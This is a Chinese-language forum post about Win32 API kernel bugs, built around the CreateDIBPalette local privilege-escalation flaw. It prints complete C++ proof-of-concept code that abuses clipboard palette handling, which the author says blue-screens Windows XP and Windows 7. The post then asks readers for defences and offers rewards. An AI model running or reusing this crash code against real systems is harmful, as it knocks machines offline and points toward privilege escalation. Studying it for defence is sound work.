|
我把0DAY漏洞的范围缩小,仅指“通过调用有bug的WIN32API导致系统崩溃或者获得更高权限”的漏洞。
比如:CreateDIBPalette函数本地权限提升漏洞。
- #include <windows.h>
- int main()
- {
- DEVMODE dm = {0};
- dm.dmSize = sizeof(DEVMODE);
- dm.dmBitsPerPel = 8;
- dm.dmPelsWidth = 800;
- dm.dmPelsHeight = 600;
- dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
- ChangeDisplaySettings(&dm, 0);
- BITMAPINFOHEADER bmih = {0};
- bmih.biClrUsed = 0x200;//超过256
- HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0x1000);
- memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
- GlobalUnlock(h);
- ::OpenClipboard(NULL);
- ::SetClipboardData(17, (HANDLE)h);
- ::CloseClipboard();
- ::OpenClipboard(NULL);
- ::GetClipboardData(CF_PALETTE);
- return 0;
- }
复制代码 经本人测试,调用以上代码,可以导致Win XP X86、Win 7 x86、Win 7 x64蓝屏。
大家说说如何防御呢?
奖励措施:
1.视回答的有效程度和可实施程度加20~100水晶币。
2.回答特别有用者,加100水晶币,并将其用户组改为【核心会员】。 |
|